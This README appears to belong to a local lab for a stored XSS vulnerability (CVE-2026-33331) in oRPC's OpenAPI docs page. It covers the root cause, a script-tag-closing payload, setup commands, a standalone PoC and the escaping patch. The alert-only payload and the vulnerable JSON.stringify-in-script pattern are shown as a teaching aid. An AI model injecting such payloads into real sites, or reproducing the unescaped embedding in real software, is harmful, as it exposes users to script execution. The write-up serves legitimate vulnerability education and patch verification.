
Local lab reproducing stored XSS in oRPC's OpenAPI docs generation (CVE-2026-33331), with vulnerable and patched versions for comparison and a standalone PoC.
Proof-of-concept lab for stored XSS in orpc's OpenAPI documentation generation
oRPC builds API docs pages from an OpenAPI spec. Before v1.13.9 it dumped the spec directly into a <script> tag using JSON.stringify() with no HTML encoding. Any field an attacker controlled, like , could close that tag early and run script.
info.descriptionThis repo gives you a local lab to reproduce the bug, plus a patched version to compare against.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-33331 |
| GHSA | GHSA-7f6v-3gx7-27q8 |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| Product | middleapi/orpc |
| Affected | All versions below v1.13.9 |
| Patched | v1.13.9 |
| Discovery | Abhay Kumar (@abhayclasher) |
The vulnerable code in packages/openapi/src/plugins/openapi-reference.ts renders the spec like this:
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>
JSON.stringify() produces valid JSON, but it does not escape < or >. The browser still treats </script> as an HTML closing tag, even inside a <script type="application/json">.
A payload in info.description that triggers execution:
"</script><script>alert('XSS')</script>"
The browser sees:
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>
The first </script> closes the block. Everything after it runs as inline JavaScript.
This applies when an application builds OpenAPI specs from user-controlled input, which is the exact case oRPC enables through its router definitions.
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d
After the server starts, visit these URLs:
| URL | Description |
|---|---|
http://localhost:3000/docs | Vulnerable docs page — XSS payload executes on load |
http://localhost:3000/docs/safe | Same page with the v1.13.9 patch applied |
http://localhost:3000/spec.json | Raw OpenAPI spec JSON |
The vulnerable version will fire an alert() on page load, confirming script execution. The patched version renders the same malicious spec safely — the payload displays as plain text.
You can also run the standalone PoC:
cd poc
node exploit.js
This spins up a minimal server on port 3000 that demonstrates the same bug without the full application context.
1. Attacker controls a field in the OpenAPI spec (e.g. description)
2. oRPC generates the docs HTML with JSON.stringify(spec)
3. The </script> in the payload closes the <script> tag early
4. Browser executes whatever follows as inline JavaScript
┌─────────────────────────────────────────────────────┐
│ 1. Malicious spec crafted: │
│ │
│ info.description = │
│ "</script><script>alert('XSS')</script>" │
│ │
│ 2. orpc embeds spec into HTML: │
│ │
│ <script id="spec" type="application/json"> │
│ {"info":{"description":"</script> <-- tag │
│ <script>alert('XSS')</script> <-- payload │
│ "}} │
│ </script> │
│ │
│ 3. Browser executes alert('XSS') │
└─────────────────────────────────────────────────────┘
Version 1.13.9 introduces escapeJsonForHtml(), which replaces HTML-sensitive characters with Unicode escapes before embedding JSON in the script tag:
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
.replace(/&/g, '\\u0026')
.replace(/'/g, '\\u0027')
.replace(/</g, '\\u003C')
.replace(/>/g, '\\u003E')
.replace(/\//g, '\\u002F');
Unicode escapes work because they stay valid JSON — JSON.parse() reconstructs the original string — but they never look like HTML to the browser's parser.
The patch also moved from reading JSON out of a DOM dataset.config attribute (which broke when values contained parentheses) to assigning the escaped JSON directly to an inline variable.
View the full commit: 4f0efa8
CVE-2026-33331/
├── README.md # This file
├── docker-compose.yml # Docker lab configuration
├── app/
│ ├── Dockerfile # Container build configuration
│ ├── package.json # Node.js dependencies
│ └── server.js # Vulnerable + patched docs renderer
└── poc/
└── exploit.js # Standalone minimal proof-of-concept
Reported by Abhay Kumar. This repository is intended for local educational use only. Do not deploy the vulnerable server on a public network.
Educational purposes only — use in isolated environments